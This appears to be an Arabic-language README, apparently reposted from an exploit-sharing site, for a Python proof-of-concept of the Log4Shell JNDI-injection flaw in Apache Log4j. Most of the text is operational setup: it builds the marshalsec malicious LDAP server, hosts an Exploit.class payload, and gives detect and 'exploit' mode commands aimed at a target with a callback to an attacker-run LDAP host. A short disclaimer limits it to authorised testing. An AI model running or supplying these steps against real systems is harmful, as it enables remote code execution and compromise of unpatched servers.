Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

إكسبلويت اختباري للثغرة الحرجة Log4Shell في Apache Log4j ≤ 2.14.1، والذي يتيح تنفيذ كود عن بُعد عبر حقن JNDI.

⚠️ هذا الـ PoC مخصص للأغراض التعليمية والاختبارات الخاضعة للرقابة في البيئات المصرح بها فقط. لا تستخدمه ضد أي نظام دون إذن صريح.

المتطلبات

• Python 3.x
• Java 8 أو أحدث
• marshalsec (لخادم LDAP الخبيث)
• خادم HTTP (على سبيل المثال، python3 -m http.server)
• Docker (اختياري للبيئة المعرّضة للثغرات)

بيئة الاختبار المحلية (اختيارية مع Docker)

1. شغّل التطبيق المعرّض للثغرة:
   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
     ```
   
   

2. ادخل إلى: http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

الاستخدام

وضع الكشف السلبي:

python3 main.py -u http://target.com -i burp.collab.net -m detect

الوضع الهجومي (يتطلب ملف Exploit.class على خادم HTTP الخاص بك):

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit